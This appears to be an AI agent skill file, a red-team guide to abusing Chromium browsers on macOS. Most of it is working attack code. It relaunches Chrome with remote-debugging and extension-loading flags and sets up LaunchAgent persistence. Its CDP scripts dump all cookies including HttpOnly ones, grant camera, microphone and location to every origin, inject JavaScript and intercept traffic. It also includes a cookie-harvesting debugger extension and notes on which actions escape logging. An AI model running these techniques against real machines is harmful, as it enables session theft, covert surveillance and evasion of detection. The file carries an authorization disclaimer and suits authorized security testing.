| name | macos-chromium-injection |
| description | Security testing skill for Chromium browser abuse on macOS. Use this skill when the user needs to test browser-based privilege escalation, session theft, or DevTools Protocol exploitation on macOS systems. Trigger this skill for any request involving Chrome/Edge/Brave security assessments, CDP exploitation, browser extension injection, or macOS browser hardening tests. Make sure to use this skill whenever the user mentions Chromium browsers, Chrome DevTools Protocol, browser security testing, or macOS browser exploitation scenarios. |
macOS Chromium Injection Testing
A security testing skill for authorized assessment of Chromium-based browsers on macOS. This skill covers browser flag manipulation, DevTools Protocol abuse, and extension-based injection techniques.
⚠️ Authorization Required
Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized use may violate computer crime laws.
When to Use This Skill
- Security assessments of macOS systems with Chromium browsers
- Red teaming exercises involving browser-based attacks
- Testing browser hardening configurations
- Evaluating endpoint detection capabilities
- Training on browser security concepts
Core Concepts
Chromium-based browsers (Chrome, Edge, Brave, Arc, Vivaldi, Opera) share:
- Command-line switches and preference files
- DevTools automation interfaces (CDP)
- Extension APIs and debugging capabilities
On macOS, any user with GUI access can:
- Force-quit an existing browser session
- Relaunch with arbitrary flags/extensions
- Expose DevTools Protocol endpoints
- Run with the target's user entitlements
Technique 1: Browser Flag Injection
Launching with Custom Flags
osascript -e 'tell application "Google Chrome" to quit'
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--remote-debugging-port=9222 \
--load-extension="/path/to/extension" \
--disable-extensions-except="/path/to/extension"
Key Flags
| Flag | Purpose | Security Impact |
|---|
--user-data-dir | Redirect profile to custom path | Bypasses App-Bound Encryption on Chrome 136+ |
--remote-debugging-port | Expose CDP over TCP | Enables remote browser control |
--load-extension | Auto-load unpacked extensions | Bypasses extension installation prompts |
--disable-extensions-except | Block all other extensions | Ensures only payload runs |
--use-fake-ui-for-media-stream | Skip camera/mic prompts | Bypasses TCC permission checks |
--auto-select-desktop-capture-source | Auto-select screen capture | Enables silent screen sharing |
Persistence via LaunchAgent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.chrome.instrumented</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/open</string>
<string>-na</string>
<string>Google Chrome</string>
<string>--args</string>
<string>--user-data-dir=/tmp/chrome-test</string>
<string>--remote-debugging-port=9222</string>
</array>
<key>RunAtLoad</key>
Technique 2: Chrome DevTools Protocol (CDP) Abuse
CDP Capabilities
Once --remote-debugging-port is active, you can:
- Extract cookies and sessions (including HttpOnly)
- Grant permissions (camera, mic, geolocation)
- Inject JavaScript into active tabs
- Intercept network traffic in real-time
- Modify DOM and page behavior
Cookie Extraction via CDP
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Network} = client;
await Network.enable();
const {cookies} = await Network.getAllCookies();
console.log('Extracted cookies:');
cookies.forEach(c => {
console.log(` ${c.domain}:${c.name} = ${c.value}`);
});
await client.close();
})();
Permission Granting
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Browser} = client;
await Browser.grantPermissions({
origin: '*',
permissions: ['camera', 'microphone', 'geolocation']
});
await client.close();
})();
JavaScript Injection
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Runtime, Target} = client;
const {targetInfos} = await Target.getTargets();
for (const target of targetInfos) {
if (target.type === 'page') {
const session = await Target.attachToTarget({targetId: target.targetId});
const {result} = await session.send('Runtime.evaluate', {
expression: 'document.cookie + "|" + window.location.href'
});
console.log(`${target.url}: ${result.result.value}`);
await session.detachFromTarget();
}
}
await client.close();
})();
Technique 3: Extension-Based Injection
Debugger API Extension
Create a minimal extension that uses chrome.debugger API:
{
"manifest_version": 3,
"name": "Debugger Extension",
"version": "1.0",
"permissions": ["debugger", "tabs", "cookies"],
"background": {
"service_worker": "background.js"
}
}
chrome.tabs.onUpdated.addListener((tabId, info) => {
if (info.status !== 'complete') return;
chrome.debugger.attach({tabId}, '1.3', () => {
chrome.debugger.sendCommand({tabId}, 'Network.enable');
chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
console.log('Cookies:', res.cookies);
});
chrome.debugger.onEvent.addListener((source, method, params) => {
if (method === 'Debugger.paused') {
console.log('Debugger paused:', params);
}
});
});
});
Loading the Extension
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--load-extension="/path/to/extension" \
--disable-extensions-except="/path/to/extension"
Technique 4: Network Traffic Interception
Using CDP Fetch API
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Fetch, Network} = client;
await Fetch.enable({patterns: [{urlPattern: '*'}]});
Fetch.requestPaused.addEventListener((event) => {
console.log(`Request: ${event.request.url}`);
console.log(`Headers:`, event.request.headers);
Fetch.continueRequest({requestId: event.requestId});
});
await new Promise(() => {});
})();
Chrome 136+ Considerations
Starting with Chrome 136 (March 2025):
--remote-debugging-port is ignored for the default profile
- You must use
--user-data-dir with a non-standard path
- App-Bound Encryption protects the real profile
- Attackers must coerce authentication into the instrumented profile
Workaround for Testing
mkdir -p "$TMPDIR/chrome-test"
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--remote-debugging-port=9222
Detection Evasion Considerations
What Gets Logged
- Process creation events (launchd, auditd)
- Network connections to CDP port
- Extension installation (if not using
--load-extension)
- File access to user-data-dir
What Doesn't Get Logged
- CDP commands executed in-memory
- Cookie extraction via CDP (no filesystem access)
- Permission grants via CDP
- JavaScript injection via Runtime.evaluate
Testing Checklist
References
Related Tools
snoop - Automates Chromium launches with payload extensions
VOODOO - Traffic interception and browser instrumentation
puppeteer - High-level CDP wrapper for automation
playwright - Cross-browser automation with CDP support